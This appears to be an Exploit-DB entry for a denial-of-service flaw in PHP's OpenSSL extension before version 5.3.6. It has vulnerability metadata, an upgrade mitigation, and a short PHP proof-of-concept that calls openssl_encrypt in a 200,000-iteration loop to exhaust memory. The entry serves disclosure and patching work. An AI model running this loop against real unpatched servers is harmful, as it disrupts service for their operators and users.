header-logo
Suggest Exploit
vendor:
PHP
by:
Not mentioned
7.5
CVSS
HIGH
Remote Denial-of-Service
Not mentioned
CWE
Product Name: PHP
Affected Version From: PHP versions prior to 5.3.6
Affected Version To: Not mentioned
Patch Exists: YES
Related CWE: Not mentioned
CPE: Not mentioned
Metasploit:
Other Scripts:
Platforms Tested: Not mentioned
Not mentioned

Multiple Remote Denial-of-Service Vulnerabilities in PHP OpenSSL Extension

The 'OpenSSL' extension in PHP is prone to multiple remote denial-of-service vulnerabilities. Successful attacks will cause the application to consume excessive memory, creating a denial-of-service condition.

Mitigation:

Upgrade to PHP version 5.3.6 or later.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/46977/info

PHP is prone to multiple remote denial-of-service vulnerabilities that affect the 'OpenSSL' extension.

Successful attacks will cause the application to consume excessive memory, creating a denial-of-service condition.

Versions prior to PHP 5.3.6 are vulnerable. 

<?php

$data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437 r892374 r894372 r894 7289r7 f  frwerfh i iurf iuryw uyrfouiwy ruy 972439 8478942 yrhfjkdhls";
$pass = "r23498rui324hjbnkj";

$maxi = 200000;
$t = microtime(1);
for ($i=0;$i<$maxi; $i++){
	openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');
}
$t = microtime(1)-$t;
print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs ".($maxi/$t)."#/sec \n";

?>